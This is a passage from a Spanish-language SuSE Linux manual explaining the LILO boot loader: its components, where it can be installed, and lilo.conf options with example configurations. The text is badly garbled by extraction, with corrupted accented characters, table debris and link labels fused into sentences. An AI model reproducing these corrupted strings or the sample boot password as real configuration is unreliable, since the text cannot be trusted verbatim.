  7500.       dora  y  alternar  entre  ellos.   El  usuario  selecciona  el  sistema  operativo
  7501.       durante el arranque; para cambiar de sistema operativo se debe reiniciar
  7502.       la computadora.
  7503.  
  7504.       o   Condici≤n:   El gestor de arranque trabaja en ''armonφa'' con todos los
  7505.           sistemas operativos instalados.
  7506.  
  7507.       o   Ejemplos:   En determinadas circunstancias funcionan bien con Linux
  7508.           el gestor de arranque de OS/2 (ver apartado 4.7.3 en la pßgina 137OS/2
  7509.           y Linuxsubsection.4.7.3) y el boot.sys de DOS.
  7510.  
  7511. En las siguientes lφneas se explica la instalaci≤n y configuraci≤n de LILO , que
  7512. es el gestor de arranque estßndar para Linux. En [Alm96     ]5  hay explicaciones
  7513. mßs detalladas. Al final se a±aden detalles sobre loadlin .
  7514. 5      ____________________________________________________
  7515.          Se       puede       imprimir       este       documento       con       el       comando
  7516. lpr  /usr/doc/packages/lilo/user.dvi
  7517.  
  7518.  
  7519.                                                                                                                                    *
  7520.  *   121
  7521. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  7522.  *_______________________________________@
  7523.  
  7524.  
  7525.  
  7526.                            4.3       Resumen de LILO
  7527.  
  7528.                            LILO  se presenta
  7529.  
  7530.                            El gestor de arranque de Linux es apto para su instalaci≤n en el MBR (hay
  7531.                            detalles mßs adelante, en la pßgina siguiente).  LILO   tiene acceso a ambos
  7532.                            discos  duros  que  se  pueden  acceder  en  modo  real  y  por  su  modo  de  insta-
  7533.                            laci≤n es capaz de encontrar todos los datos que necesita en los discos duros
  7534.                            ''crudos''6  sin tener informaci≤n acerca de la partici≤n.  Es por eso que existe
  7535.                            tambiΘn la posibilidad de iniciar sistemas operativos desde el segundo disco
  7536.                            duro.  En comparaci≤n al proceso de arranque de DOS, se ignoran los datos
  7537.                            en la tabla de particiones.
  7538.  
  7539.                            Pero  la  mayor  diferencia  respecto  al  arranque  tipo  DOS  es  la  posibilidad
  7540.                            de  elegir  entre  diferentes  sistemas  operativos,  siendo  uno  de  ellos  Linux.
  7541.                            DespuΘs  de  la  carga  del  MBR  en  la  memoria  RAM  se  ejecuta  LILO ,  que
  7542.                            le permite al usuario elegir de una lista de sistemas operativos instalados (ver
  7543.                            en esta pßgina).
  7544.  
  7545.  
  7546.  
  7547.                            ┐QuΘ es LILO  y quΘ sabe hacer?
  7548.  
  7549.                            LILO  es  un  gestor  de  arranque  universal.   Es  capaz  de  cargar  y  arrancar
  7550.                            durante el inicio los siguientes programas de sistema:
  7551.  
  7552.  
  7553.                              o   Sectores de arranque de particiones (Inicio de un sistema operativo desde
  7554.                                  esa partici≤n)
  7555.  
  7556.                              o   Kernel de Linux (Inicio de Linux)
  7557.  
  7558.  
  7559.                            La mayorφa de los otros gestores no saben hacer lo segundo.
  7560.  
  7561.                            Ademßs  existe  la  posibilidad  de  pasar  con  LILO  una  lφnea  de  comando  al
  7562.                            kernel  de  Linux.   Por  razones  de  seguridad  es  preferible  proteger  total  o
  7563.                            parcialmente los servicios de Linux.
  7564.  
  7565.  
  7566.  
  7567.                            ┐Cußl es la apariencia del arranque con LILO ?
  7568.  
  7569.                            Cuando LILO se inicia, aparecen el texto LILO y un saludo en pantalla, que se
  7570.                            ha definido durante la configuraci≤n (ver apartado 4.4.2 en la pßgina 128Otras
  7571.                            opciones de configuraci≤n (Selecci≤n)subsection.4.4.2).  DespuΘs aparece el
  7572.                            prompt:
  7573.  
  7574.                                  boot:
  7575.  
  7576.                            Al introducir aquφ un nombre se selecciona el sistema operativo, que arranca
  7577.                            inmediatamente despuΘs. Los nombres de los sistemas operativos se configu-
  7578.                            ran con anterioridad. En este momento es posible pasar una lφnea de comando
  7579.                            al kernel de Linux.  El listado_de_los nombres dados_a los distintos sistemas
  7580.                            operativos aparece pulsando |T____a|b(= tecla |T____a|b).
  7581.  
  7582.                            _____________________________________________6
  7583.                               Se considera un dispositivo ''crudo'' (disco duro, disquete, partici≤n . . . )  (ingl. raw device),
  7584.                            cuando el acceso a Θl se efect·a de forma directa sin pasar por el correspondiente sistema de
  7585.                            ficheros.
  7586.  
  7587.  
  7588. 122
  7589.        _______________________________________________________________________________________________4.3.__Resumen_de_LILO________*
  7590.  *______________________
  7591.  
  7592.  
  7593.  
  7594. ┐QuΘ partes conforman LILO ?
  7595. La maquinaria de arranque de LILO  se compone de las siguientes partes7 :
  7596.  
  7597.  
  7598.   o   un sector de arranque tipo LILO  con un comienzo del c≤digo de LILO
  7599.       (''primera fase'') que activa el LILO  real.
  7600.  
  7601.   o   el c≤digo mßquina de LILO  (su ''coraz≤n'').
  7602.       Se encuentra normalmente en: /boot/boot.b
  7603.  
  7604.   o   un fichero map, que genera LILO  durante su instalaci≤n y que contiene
  7605.       informaci≤n sobre la ubicaci≤n del kernel de Linux y de otras informa-
  7606.       ciones adicionales.
  7607.       Se encuentra normalmente en: /boot/map
  7608.  
  7609.   o   opcional:  un fichero de mensaje, cuyo contenido se muestra antes de la
  7610.       selecci≤n de arranque como mensaje de saludo.
  7611.       Se encuentra normalmente en: /boot/message
  7612.  
  7613.   o   los  distintos  kernel  de  Linux  y  sectores  de  arranque,  que  LILO   debe
  7614.       ofrecer para el arranque.
  7615.        _______________________________________________________________________________________________________________________||
  7616.  
  7617.        ||||||||  íCualquier  acceso  de  escritura  y  tambiΘn  el  movimiento  de  alguno  de                  |||            |
  7618.        ||||||||  estos  componentes  convierte  el  fichero  map  en  no  vßlido  y  pide  por  lo              ||             |
  7619.        ||||||||                                                                                                 ||             |
  7620.        ||||||||  tanto una Reinstalaci≤n de LILO  (ver en la pßgina 131Instalaci≤n despuΘs                      ||             |
  7621.        ||||||||  del cambio de configuraci≤nsection.4.5)!  Esto se refiere especialmente a                      ||             |
  7622.        ||||||||                                                                                                 ||             |
  7623.        ||||||||  cualquier cambio del kernel (p. ej.  la actualizaci≤n).                                        ||             |
  7624.        ||||||||_______________________________________________________________________________________________________________||_
  7625.  
  7626.  
  7627. ┐D≤nde se puede instalar LILO ?
  7628.  
  7629. En realidad se trata solo del sector de arranque de LILO   (''primera fase'').
  7630. Antes de detallar esto hay que mencionar una restricci≤n general:
  7631.        _______________________________________________________________________________________________________________________||
  7632.        ||||||||  íTodos  los  componentes  de  la  maquinaria  de  arranque  de  LILO  deben                    |||            |
  7633.        ||||||||                                                                                                 ||             |
  7634.        ||||||||  encontrarse  dentro  de  la  zona  fφsica  de  los  primeros  1024  cilindros  del             ||             |
  7635.        ||||||||  disco duro!                                                                                    ||             |
  7636.        ||||||||                                                                                                 ||             |
  7637.        ||||||||  Esto  se  puede  conseguir  mediante  una  peque±a  partici≤n  aparte,  que  se                ||             |
  7638.        ||||||||  monta sobre el directorio /boot y que se encuentra totalmente dentro de                        ||             |
  7639.        ||||||||                                                                                                 ||             |
  7640.        ||||||||  los primeros 1024 cilindros.                                                                   ||             |
  7641.        ||||||||_______________________________________________________________________________________________________________||_
  7642.  
  7643. Durante la fase de arranque del sistema solamente se puede acceder a estas
  7644. zonas  fφsicas  debido  a  las  restricciones  de  los  drivers  de  la  BIOS.  Por  lo
  7645. demßs, el acceso tambiΘn se restringe generalmente a los dos primeros discos.
  7646. Ademßs, en caso de tener una BIOS antigua, es posible que la existencia de
  7647. un disco (E)IDE excluya a los del tipo SCSI de la posibilidad de arrancar.
  7648.  
  7649. Solo  las  BIOS  recientes  permiten  el  acceso  a  dispositivos  adicionales.  Por
  7650. ejemplo  en  combinaci≤n  con  controladores  EIDE  hay  acceso  hasta  4  dis-
  7651. cos  EIDE.  Muchas  combinaciones  modernas  de  BIOS  y  adaptadora  SC-
  7652. SI  permiten__incluso__''empujar__hacia__delante''__los__dispositivos_ SCSI  para
  7653. 7  A prop≤sito:  Los sectores de arranque que instala LILO   contienen una secuencia de bytes
  7654. que tambiΘn es caracterφstica para los virus de sector de arranque. Por eso no es de extra±ar que
  7655. algunos programas antivirus piensen que han encontrado el virus de sector de arranque AIRCOP
  7656. en ficheros como /boot/chain.b o /boot/os2_d.b. ;-)
  7657.  
  7658.  
  7659.                                                                                                                                    *
  7660.  *   123
  7661. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  7662.  *_______________________________________@
  7663.  
  7664.  
  7665.  
  7666.                            hacerlos  arrancables.    El  uso  de  esta  posibilidad  de  LILO   mediante  la
  7667.                            opci≤n  disk     se  explica  en  la  pßgina  129Otras  opciones  de  configuraci≤n
  7668.                            (Selecci≤n)Hfootnote.21.
  7669.  
  7670.                            Para simplificarlo se resume todo bajo la clave Lφmite de 1024 cilindros; en
  7671.                            todo caso, se debe considerar este hecho durante la fase de particionar antes
  7672.                            de la primera instalaci≤n de Linux ~ desp·es serφa demasiado tarde y podrφa
  7673.                            generar  un  mont≤n  de  trabajo  adicional!     Los  detalles  sobre  c≤mo  tratar
  7674.                            esto  se  encuentran  en  el  apartado  4.8.2  en  la  pßgina  140El  lφmite  de  1024
  7675.                            cilindrossubsection.4.8.2.
  7676.  
  7677.                            Existen los siguiente lugares para instalar el sector de arranque de LILO :
  7678.  
  7679.  
  7680.                              o   En un disquete
  7681.  
  7682.                                  Este  es  el  mΘtodo  mßs  seguro  pero  a  su  vez  el  mßs  lento  para  arran-
  7683.                                  car  con  LILO  (ver  en  la  pßgina  134Disquete  de  arranque  con  LILO
  7684.                                  Hfootnote.24).   Quien  haya  leφdo  este  capφtulo  y  ahora  no  desee  modi-
  7685.                                  ficar los sectores de arranque, deberφa (por el momento) usar la variante
  7686.                                  con el disquete.
  7687.  
  7688.                              o   En el sector de arranque de una partici≤n Linux primaria del primer
  7689.                                  disco duro
  7690.  
  7691.                                  Esta  variante  no  toca  el  MBR.  Antes  de  arrancar  hace  falta  marcar  la
  7692.                                  partici≤n con fdisk  como activa.  Si Linux se encuentra completamente
  7693.                                  en unidades o particiones l≤gicas del segundo disco duro, entonces para
  7694.                                  LILO  solo  queda  el  sector  de  arranque  de  la  partici≤n  extendida  en  el
  7695.                                  primer disco (si Θste existe).  El programa fdisk  de Linux tambiΘn puede
  7696.                                  activar estas particiones.
  7697.  
  7698.                                  Este procedimiento resulta un poco complicado cuando se desea arrancar
  7699.                                  varios  sistemas  operativos  desde  el  disco  duro.   Antes  de  cambiar  de
  7700.                                  sistema operativo hace falta desactivar, bajo el sistema operativo actual,
  7701.                                  la partici≤n de arranque del mismo y activar la del sistema a arrancar. Los
  7702.                                  siguientes dos procedimientos sirven mejor para este caso, ya que se evita
  7703.                                  el continuo cambio de estado de las particiones.
  7704.  
  7705.                              o   En el Master Boot Record
  7706.  
  7707.                                  Esta  variante  ofrece  mßxima  flexibilidad.   Se  trata  especialmente  de  la
  7708.                                  ·nica  posibilidad  de  arrancar  Linux  desde  el  disco  duro,  cuando  todas
  7709.                                  las  particiones  de  Linux  se  encuentran  en  el  segundo  disco  y  no  hay
  7710.                                  ninguna  partici≤n  extendida  en  el  primero.   La  modificaci≤n  del  MBR
  7711.                                  conlleva el riesgo de efectuarse indebidamente.  En el apartado 4.5 en la
  7712.                                  pßgina 131Instalaci≤n y desinstalaci≤n de LILO  section.4.5 se explican
  7713.                                  las precauciones necesarias a tener en cuenta.
  7714.  
  7715.                              o   Si se ha usado hasta ahora otro gestor de arranque . . .
  7716.  
  7717.                                  . . . y  se  quiere  seguir  usando  el  mismo,  existen,  seg·n  sus  capacidades,
  7718.                                  un par de posibilidades mßs. Un caso muy frecuente: Tiene una partici≤n
  7719.                                  primaria en el segundo disco y desde allφ quiere arrancar su SuSE     Linux;
  7720.                                  suponiendo  ademßs  que  el  ''otro''  gestor  de  arranque  puede  iniciar  esa
  7721.                                  partici≤n.   En  este  caso  puede  hacerlo  instalando  LILO  en  el  sector  de
  7722.                                  arranque e indicando al otro gestor que la partici≤n se puede arrancar.
  7723.  
  7724.  
  7725. 124
  7726.        _______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n_____________*
  7727.  *______________________
  7728.  
  7729.        _______________________________________________________________________________________________________________________||
  7730.        ||||||||  Se  debe  tener  cuidado  con  la  idea  de  arrancar  una  partici≤n  l≤gica  de              |||            |
  7731.        ||||||||| Linux instalando allφ LILO : Muchas veces funciona, pero aunque el ''otro''                    ||             ||
  7732.        ||||||||  gestor  de  arranque  pueda  arrancar  particiones  l≤gicas,  en  la  actualidad               |||            |
  7733.        ||||||||                                                                                                 ||             |
  7734.        ||||||||  actualmente , no se garantiza ning·n Θxito.                                                    ||             |
  7735.        ||||||||_______________________________________________________________________________________________________________||_
  7736.  
  7737.       Naturalmente  que  se  puede  probar,  quizßs  con  una  instalaci≤n  muy  pe-
  7738.       que±a  de  Linux.   Tal  vez  se  tenga  suerte,  pero  en  todo  caso  es  mejor
  7739.       establecer como mφnimo una partici≤n primaria arrancable.
  7740.  
  7741.  
  7742.  
  7743. 4.4       LILO  α la carte:  La configuraci≤n
  7744.  
  7745.  
  7746. Como gestor de arranque flexible, LILO  ofrece m·ltiples posibilidades para
  7747. adaptarse  a  las  necesidades  individuales.   A  continuaci≤n  se  explican  las
  7748. opciones mßs importantes;  explicaciones mßs exhaustivas se encuentran en
  7749. [Alm96     ].
  7750.  
  7751. La configuraci≤n de LILO  se graba en el fichero /etc/lilo.conf. Al efec-
  7752. tuar la primera instalaci≤n, recomendamos dejar hacerlo a YaST . Un posible
  7753. retoque de lilo.conf se puede hacer a base del fichero generado por YaST .
  7754.        _______________________________________________________________________________________________________________________||
  7755.        ||||||||  Nadie  a  parte  de  `root'  debe  tener  permiso  de  lectura  del  fichero                   |||            |
  7756.        ||||||||  /etc/lilo.conf,    ya   que   Θste   puede   contener   contrase±as   (ver                     ||             |
  7757.        ||||||||                                                                                                 ||             |
  7758.        ||||||||  apartado   4.4.2   en   la   pßgina   128Otras   opciones   de   configuraci≤n                 ||             |
  7759.        ||||||||  (Selecci≤n)subsection.4.4.2).  De hecho esto es estßndar en SuSE      Linux;                   ||             |
  7760.        ||||||||                                                                                                 ||             |
  7761.        ||||||||  se puede comprobar si se desea. En cualquier caso ayuda el comando:                            ||             |
  7762.        ||||||||        tierra:  #  chmod  0600  /etc/lilo.conf                                                  ||             |
  7763.        ||||||||_______________________________________________________________________________________________________________||_
  7764.  
  7765. Es  aconsejable  guardar  bien  el  fichero  de  configuraci≤n  de  la  ·ltima  insta-
  7766. laci≤n de LILO  y hacer un respaldo antes de cualquier cambio. Ning·n cam-
  7767. bio se efect·a antes de instalar nuevamente LILO  con la ·ltima versi≤n del
  7768. fichero de configuraci≤n (apartado 4.5 en la pßgina 131Instalaci≤n y desinsta-
  7769. laci≤n de LILO  section.4.5)!
  7770.  
  7771.  
  7772.  
  7773. 4.4.1      El contenido del fichero lilo.conf
  7774.  
  7775. El fichero /etc/lilo.conf comienza con un apartado global (ingl. global
  7776. options section), con parßmetros generales seguido de uno o varios apartados
  7777. de sistema (ingl. image sections), para los distintos sistemas operativos que
  7778. LILO  debe  arrancar.   Cada  nuevo  apartado  de  sistema  se  introduce  por  la
  7779. opci≤n image      o other     .
  7780.  
  7781. El orden de aparici≤n de los sistemas operativos en lilo.conf es importante
  7782. por el hecho de que se arranca automßticamente el que aparece primero, en
  7783. caso  de  que  el  usuario  no  intervenga.   Esta  intervenci≤n  se  puede  realizar
  7784. dentro de un tiempo de espera definido por las opciones delay      o timeout       .
  7785.  
  7786. El fichero 4.4.1 en la pßgina siguiente muestra una configuraci≤n de ejemplo
  7787. para una computadora con Linux y DOS. Existen tres opciones de arranque
  7788. definidas  por  este  fichero:  un  kernel  de  Linux  nuevo  y  uno  antiguo  en  la
  7789. partici≤n  raφz  actual  (partici≤n  primaria  del  segundo  disco)  y  MS-DOS  (o
  7790. Windows 95/98) en /dev/hda1.
  7791.  
  7792.  
  7793.                                                                                                                                    *
  7794.  *   125
  7795.                            |                                                                                                       *
  7796.  *         |
  7797. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  7798.  *_______________________________________@
  7799.  
  7800.                            ________________________________________________________________________________________________________*
  7801.  *________||||
  7802.                            | #  Fichero  de  configuraci≤n  de  LILO                                                               *
  7803.  *         |
  7804.                            ||#  Start  LILO  global  Section                                                                       *
  7805.  *         ||
  7806.                            | boot=/dev/hda                            #  LILO  destino  de  instalaci≤n:                           *
  7807.  *         |
  7808.                            | backup=/boot/MBR.hda.970428    #  MBR  Fichero  respaldo  para  MBR                                   *
  7809.  *         |
  7810.                            |                                                                                                       *
  7811.  *         |
  7812.                            |                                                   #  antiguo  del  28.  Abril  1997                   *
  7813.  *         |
  7814.                            | #compact              #  faster,  but  won't  work  on  all  systems.                                 *
  7815.  *         |
  7816.                            | #linear                                                                                               *
  7817.  *         |
  7818.                            |                                                                                                       *
  7819.  *         |
  7820.                            | message=/boot/message              #    LILO's  saludos                                               *
  7821.  *         |
  7822.                            | prompt                                                                                                *
  7823.  *         |
  7824.                            |                                                                                                       *
  7825.  *         |
  7826.                            | password  =  q99iwr4                   #  Contrase±a  general  de  LILO                               *
  7827.  *         |
  7828.                            | timeout=100         #  esperar  10  s  en  el  prompt  antes  de  arrancar                            *
  7829.  *         |
  7830.                            |                                                                                                       *
  7831.  *         |
  7832.                            |                            #  con  parßmetros  por  defecto                                           *
  7833.  *         |
  7834.                            | vga  =  normal       #  modo  texto  normal  (80x25  caracteres)                                      *
  7835.  *         |
  7836.                            |                                                                                                       *
  7837.  *         |
  7838.                            | #  End  LILO  global  section                                                                         *
  7839.  *         |
  7840.                            |                                                                                                       *
  7841.  *         |
  7842.                            |                                                                                                       *
  7843.  *         |
  7844.                            | #  Linux  bootable  partition  config  begins                                                         *
  7845.  *         |
  7846.                            | image  =  /boot/vmlinuz              #    Aquφ  los  valores  por  defecto                            *
  7847.  *         |
  7848.                            |        root  =  /dev/hdb3                #    Partici≤n  root  para  kernel                           *
  7849.  *         |
  7850.                            |                                                                                                       *
  7851.  *         |
  7852.                            |        read-only                                                                                      *
  7853.  *         |
  7854.                            |        label  =  Linux                                                                                *
  7855.  *         |
  7856.                            |                                                                                                       *
  7857.  *         |
  7858.                            | #  Linux  bootable  partition  config  ends                                                           *
  7859.  *         |
  7860.                            |                                                                                                       *
  7861.  *         |
  7862.                            |                                                                                                       *
  7863.  *         |
  7864.                            | #  Second  Linux  bootable  partition  config                                                         *
  7865.  *         |
  7866.                            | image  =  /boot/vmlinuz.old                                                                           *
  7867.  *         |
  7868.                            |                                                                                                       *
  7869.  *         |
  7870.                            |        root  =  /dev/hdb3                                                                             *
  7871.  *         |
  7872.                            |        read-only                                                                                      *
  7873.  *         |
  7874.                            |                                                                                                       *
  7875.  *         |
  7876.                            |        label  =  Linux.old                                                                            *
  7877.  *         |
  7878.                            | #  2nd  Linux  bootable  partition  config  ends                                                      *
  7879.  *         |
  7880.                            |                                                                                                       *
  7881.  *         |
  7882.                            |                                                                                                       *
  7883.  *         |
  7884.                            | #  DOS  bootable  partition  config  begins                                                           *
  7885.  *         |
  7886.                            | other  =  /dev/hda1                                                                                   *
  7887.  *         |
  7888.                            |                                                                                                       *
  7889.  *         |
  7890.                            |        label  =  DOS                                                                                  *
  7891.  *         |
  7892.                            |        loader  =  /boot/chain.b                                                                       *
  7893.  *         |
  7894.                            |                                                                                                       *
  7895.  *         |
  7896.                            |        table  =  /dev/hda                                                                             *
  7897.  *         |
  7898.                            | #  DOS  bootable  partition  config  ends                                                             *
  7899.  *         |
  7900.                            |_______________________________________________________________________________________________________*
  7901.  *________ |
  7902.  
  7903.                                      Fichero 4.4.1: Configuraci≤n de ejemplo en /etc/lilo.conf
  7904.  
  7905.  
  7906.  
  7907.                            Todo lo que estß en /etc/lilo.conf entre un sφmbolo #  y el fin de la lφnea
  7908.                            cuenta como comentario.  LILO  lo ignora igual que el espacio en blanco y
  7909.                            usßndolo se mejora la legibilidad.
  7910.  
  7911.                            Repasamos brevemente las lφneas mßs importantes;  opciones adicionales se
  7912.                            describen  en  el  apartado  4.4.2  en  la  pßgina  128Otras  opciones  de  configu-
  7913.                            raci≤n (Selecci≤n)subsection.4.4.2.
  7914.  
  7915.  
  7916.                              o   Secci≤n global (Apartado de parßmetros)
  7917.  
  7918.  
  7919.                                  ~   boot=<bootdevice>
  7920.  
  7921.                                      Dispositivo sobre el cual se debe instalar (en el primer sector) el sector
  7922.                                      de  arranque  de  LILO  (el  destino  de  la  instalaci≤n).   <bootdevice>
  7923.                                      puede  ser:   una  disquetera  (/dev/fd0),  una  partici≤n  (p. ej.   /dev/
  7924.  
  7925.  
  7926. 126
  7927.        _______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n_____________*
  7928.  *______________________
  7929.  
  7930.  
  7931.  
  7932.           hdb3),  o  todo  un  disco  (p. ej.  /dev/hda):  lo  ·ltimo  significa  la  in-
  7933.           stalaci≤n en el MBR.
  7934.           Configuraci≤n por defecto: Si falta este parßmetro, LILO  se instala en
  7935.           la partici≤n raφz actual.
  7936.  
  7937.       ~   prompt
  7938.  
  7939.           Fuerza la aparici≤n del +  Prompt de LILO . íPor defecto no sale ning·n
  7940.           prompt! (ver apartado 4.4.2 en la pßgina siguiente, opci≤n delay     ).
  7941.  
  7942.           Se recomienda ponerlo cuando LILO debe arrancar mßs de un sistema
  7943.           operativo.  Junto con esta opci≤n se deberφa definir tambiΘn la opci≤n
  7944.           timeout        para que se pueda efectuar un reinicio automßtico cuando el
  7945.           usuario no introduce nada en el prompt.
  7946.  
  7947.       ~   timeout=<dΘcimas  de  segundo>
  7948.  
  7949.           Define un tiempo de espera en el prompt y permite asφ un reinicio au-
  7950.           tomßtico  cuando  no  se  introduce  nada  en  el  prompt.   <dΘcimas  de
  7951.           segundo>_es_el_tiempo_que queda para introducir un comando.  Pul-
  7952.           sando |S___________|hiften*el prompt, el tiempo comienza a contar de nuevo.
  7953.           Configuraci≤n predeterminada: infinito, o sea sin reboot automßtico!
  7954.  
  7955.   o   Secci≤n Linux
  7956.  
  7957.       ~   image=<kernelimage>
  7958.  
  7959.           Aquφ tiene que aparecer el nombre de la imagen del kernel a arrancar.
  7960.           Esto serß por lo general /boot/vmlinuz y en versiones antiguas de
  7961.           SuSE     Linux (antes de la versi≤n 6.0) /vmlinuz o /zImage.
  7962.  
  7963.       ~   label=<nombre>
  7964.  
  7965.           Un nombre para el sistema a libre elecci≤n pero fijo dentro de /etc/
  7966.           lilo.conf (p. ej.  Linux     ).  La longitud mßxima es de 15 caracteres;
  7967.           se permiten solo caracteres normales, cifras y ''gui≤n bajo'' (`_'); no
  7968.           se permiten espacios o caracteres especiales como la ± o la ▄, etc8 . El
  7969.           valor por defecto es el nombre de la imagen del kernel (p. ej.  /boot/
  7970.           vmlinuz).
  7971.  
  7972.           Introduciendo un nombre en el prompt de LILO  durante el arranque
  7973.           del sistema, se selecciona el sistema operativo deseado y en caso de us-
  7974.           ar varios es recomendable proporcionar una explicaci≤n mßs detallada
  7975.           de los nombres y sistemas en un fichero de mensaje (ver apartado 4.4.2
  7976.           en la pßgina siguiente, opci≤n message       ).
  7977.  
  7978.       ~   root=<rootdevice>
  7979.  
  7980.           Esta opci≤n indica al kernel la partici≤n root del sistema Linux (p. ej.
  7981.           /dev/hda2). íSe recomienda definirlo por seguridad! Sin esta opci≤n
  7982.           el kernel toma la partici≤n root que estß apuntada en Θl mismo9 .
  7983.  
  7984.   o   Otro sistema
  7985.  
  7986.       ~   other=<partici≤n>
  7987.  
  7988.           La variable other      indica a LILO  las particiones de arranque de otros
  7989.        ___sistemas_para_poder_iniciarlos_(p._ej.__/dev/hda1)._
  7990. 8 Las reglas exactas para los caracteres permitidos se encuentran en [Alm96   ], capφtulo 3.2.1.
  7991. 9 Se puede ver con el comando rdev <kernelimage>.
  7992.  
  7993.  
  7994.                                                                                                                                    *
  7995.  *   127
  7996. 4.  Arrancar y gestor_de_arranque__________________________________________________________________________________________________*
  7997.  *_______________________________________@
  7998.  
  7999.  
  8000.  
  8001.                                  ~   loader=<Boot-Loader>
  8002.                                      Para la carga de un sector de arranque ajeno,  LILO  construye en su
  8003.                                      fichero  map  un  ''pseudo-MBR''  (arrancando  la  computadora,  LILO
  8004.                                      inicia primero el pseudo-MBR y a su vez Θste inicia el sector de ar-
  8005.                                      ranque  ajeno).   Esta  opci≤n  indica  el  fichero  con  el  c≤digo  para  el
  8006.                                      pseudo-MBR.
  8007.                                      El valor por defecto y generalmente correcto es: /boot/chain.b.
  8008.                                      A  veces  se  quiere  arrancar  un  sistema  operativo  (p. ej.   DOS),  que
  8009.                                      debe  ser  iniciado  desde  el  primer  disco  duro  pero  con  LILO  desde
  8010.                                      otro disco duro.  Las opciones adicionales map-drive=<Nummer>                    y
  8011.                                      to=<Nummer>             permiten ''intercambiar'' los dos discos con su n·mero
  8012.                                      de dispositivo de BIOS. Ejemplo: fichero 4.4.2.
  8013.                                      El  cargador  (ingl.  loader)  os2_d.b  sirve  para  cargar  OS/2  desde  el
  8014.                                      segundo disco10 .
  8015.                                      Lo nuevo desde la versi≤n 20 de LILO: TambiΘn para el loader de OS/2
  8016.                                      se debe indicar explφcitamente el ''cambio'' de los dos primeros discos
  8017.                                      (como lo indica el ejemplo en el fichero 4.4.2).
  8018.                            ________________________________________________________________________________________________________*
  8019.  *________||||
  8020.                            | #  Booting  DOS  from  the  second  hard  drive                                                       *
  8021.  *         |
  8022.                            | #  DOS  bootable  partition  config  begins                                                           *
  8023.  *         |
  8024.                            |                                                                                                       *
  8025.  *         |
  8026.                            | other  =  /dev/hdb1                                                                                   *
  8027.  *         |
  8028.                            |    label  =  DOS                                                                                      *
  8029.  *         |
  8030.                            |    loader  =  /boot/chain.b                                                                           *
  8031.  *         |
  8032.                            |                                                                                                       *
  8033.  *         |
  8034.                            |          map-drive  =  0x80       #    first  hd:  BIOS  number  0x80                                 *
  8035.  *         |
  8036.                            |          to              =  0x81       #  second  hd:  BIOS  number  0x81                             *
  8037.  *         |
  8038.                            |                                                                                                       *
  8039.  *         |
  8040.                            |          map-drive  =  0x81                                                                           *
  8041.  *         |
  8042.                            |          to              =  0x80                                                                      *
  8043.  *         |
  8044.                            |                                                                                                       *
  8045.  *         |
  8046.                            |    table  =  /dev/hdb                                                                                 *
  8047.  *         |
  8048.                            | #  DOS  bootable  partition  config  ends                                                             *
  8049.  *         |
  8050.                            |_______________________________________________________________________________________________________*
  8051.  *________ |
  8052.                             Fichero 4.4.2: Extracto de /etc/lilo.conf              para arancar DOS del 2o  disco
  8053.  
  8054.  
  8055.                                  ~   table=<ptabla>
  8056.                                      <ptabla> debe indicar el dispositivo fuente para la tabla de partici≤n,
  8057.                                      que se debe cargar al pseudo-MBR (generalmente /dev/hda o /dev/
  8058.                                      sda).
  8059.  
  8060.                                  ~   label=<nombre>
  8061.                                      El nombre a libre elecci≤n para este sistema. Se recomienda definirlo,
  8062.                                      ya que el mero nombre de dispositivo de la partici≤n no brinda mucha
  8063.                                      informaci≤n.
  8064.  
  8065.                            4.4.2      Otras opciones de configuraci≤n (Selecci≤n)
  8066.  
  8067.                            En el apartado anterior solamente se comentaron las opciones mφnimas y mßs
  8068.                            significativas de /etc/lilo.conf. Aquφ se comentan otras opciones ·tiles.
  8069.  
  8070.                            Aquellas  que  se  indican  explφcitamente  como  opciones  del  tipo  imagen
  8071.                            pertenecen  al  apartado  de  un  determinado  sistema  operativo.    Las  otras
  8072.                            pertenecen_a_la_parte_global_de_parßmetros_de_/etc/lilo.conf.
  8073.                           10  Los cargadores any_b.b (Arrancar desde B:) y any_d.b (Arrancar desde el segundo disco)
  8074.                            son obsoletos desde la versi≤n 20 de LILO .
  8075.  
  8076.  
  8077. 128
  8078.         _______________________________________________________________________4.4.__LILO__α_la_carte:_La_configuraci≤n____________*
  8079.  *_______________________
  8080.  
  8081.  
  8082.  
  8083.    o   backup=<fichero  backup>
  8084.        Indica el nombre de fichero que LILO  usa para guardar un respaldo del
  8085.        sector  de  arranque  sobre  el  cual  se  instalarß.   El  valor  por  defecto  es
  8086.        /boot/boot.xxxx, donde xxxx representa el n·mero interno de dispositivo
  8087.        de la partici≤n sobre la que se va a instalar11 .
  8088.  
  8089.        Recomendamos usar un nombre que hable mßs por sφ mismo, como arriba
  8090.        en  el  ejemplo  (con  nombre  de  dispositivo  y  fecha).   Haciendo  esto  se
  8091.        prescinde de la caracterφstica de desinstalaci≤n automßtica de LILO , pero
  8092.        seg·n nuestra opini≤n, es algo que resulta mejor haciΘndolo a mano y con
  8093.        mucho cuidado (ver en la pßgina 132Desinstalar LILO  section.4.5).
  8094.         _______________________________________________________________________________________________________________________
  8095.         ||||||||  íSi ya existe el fichero de respaldo, LILO  no generarß ninguno nuevo!  Se                     ||             |
  8096.         ||||||||                                                                                                 ||             |
  8097.         ||||||||  ha de tener en cuenta entonces de usar siempre un nombre de fichero nuevo                      ||             |
  8098.         ||||||||_______________________________________________________________________________________________________________||_
  8099.  
  8100.    o   compact
  8101.  
  8102.        Instalando LILO  en disquete se recomienda activar esta opci≤n.  LILO
  8103.        trata de leer durante el arranque varios sectores simultßneamente y seg·n
  8104.        la  computadora  usada  puede  arrancar  mßs  rßpidamente.   Lamentable-
  8105.        mente no funciona en todas.
  8106.  
  8107.    o   disk=<Fichero  de  dispositivo>
  8108.        bios=<BIOS-n·mero  de  dispositivo>
  8109.        cylinders=<Cantidad>
  8110.        heads=<Cantidad>
  8111.        sectors=<Cantidad>
  8112.  
  8113.        Aquφ es posible indicar directamente a LILO  cußl n·mero de dispositivo
  8114.        de  BIOS  y  cußl  geometrφa  debe  usar  para  acceder  directamente  a  los
  8115.        sectores de un determinado disco. íSe necesita hacer esto pocas veces!
  8116.  
  8117.        Aplicaci≤n mßs importante:
  8118.  
  8119.        Mezcla de discos IDE-SCSI: Si se tiene una BIOS que permite el orden
  8120.        de arranque SCSI antes de IDE y se quiere usar esta opci≤n, es necesario
